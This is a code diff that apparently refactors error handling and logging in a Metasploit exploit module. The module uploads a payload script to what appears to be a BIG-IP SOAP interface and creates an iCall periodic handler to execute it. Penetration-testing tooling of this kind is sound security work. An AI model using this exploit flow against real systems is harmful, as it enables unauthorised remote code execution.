@@ -152,6 +152,7 @@ def script_exists?(script_name)
152
152
end
153
153
154
154
def create_handler ( handler_name , script_name )
155
+ print_status ( "Creating trigger #{ handler_name } " )
155
156
handler_xml = build_xml do |xml |
156
157
xml [ 'per' ] . create ( SOAPENV_ENCODINGSTYLE ) do
157
158
xml . handlers ( STRING_ATTRS ) do
@@ -168,12 +169,22 @@ def create_handler(handler_name, script_name)
168
169
# start/end time it will run once, more or less immediately, and
169
170
# again 24h from now, but by that point hopefully we will have
170
171
# cleaned up and the handler/script/etc are gone
171
- xml . item 60 * 60 * 24
172
+ xml . item 60 * 60 * 24
172
173
end
173
174
end
174
175
end
175
176
res = send_soap_request ( handler_xml )
176
- res && res . code == 200 && res . body =~ Regexp . new ( "iCall/PeriodicHandler" )
177
+ if res
178
+ if res . code == 200 && res . body =~ Regexp . new ( "iCall/PeriodicHandler" )
179
+ true
180
+ else
181
+ print_error ( "Trigger creation failed -- HTTP/#{ res . proto } #{ res . code } #{ res . message } " )
182
+ false
183
+ end
184
+ else
185
+ print_error ( "No response to trigger creation" )
186
+ false
187
+ end
177
188
end
178
189
179
190
def delete_handler ( handler_name )
@@ -229,7 +240,7 @@ def exploit
229
240
230
241
script_name = "script-#{ Rex ::Text . rand_text_alphanumeric ( 16 ) } "
231
242
print_status ( "Uploading payload script #{ script_name } " )
232
- unless create_script_res = create_script ( script_name , cmd )
243
+ unless ( create_script_res = create_script ( script_name , cmd ) )
233
244
print_error ( "No response when uploading payload script" )
234
245
return false
235
246
end
@@ -246,9 +257,7 @@ def exploit
246
257
247
258
# phase 2: create iCall Handler, that will actually run the previously created script
248
259
handler_name = "handler-#{ Rex ::Text . rand_text_alphanumeric ( 16 ) } "
249
- print_status ( "Creating trigger #{ handler_name } " )
250
260
unless create_handler ( handler_name , script_name )
251
- print_error ( 'Payload script uploaded but trigger creation failed' )
252
261
delete_script ( script_name )
253
262
return false
254
263
end
0 commit comments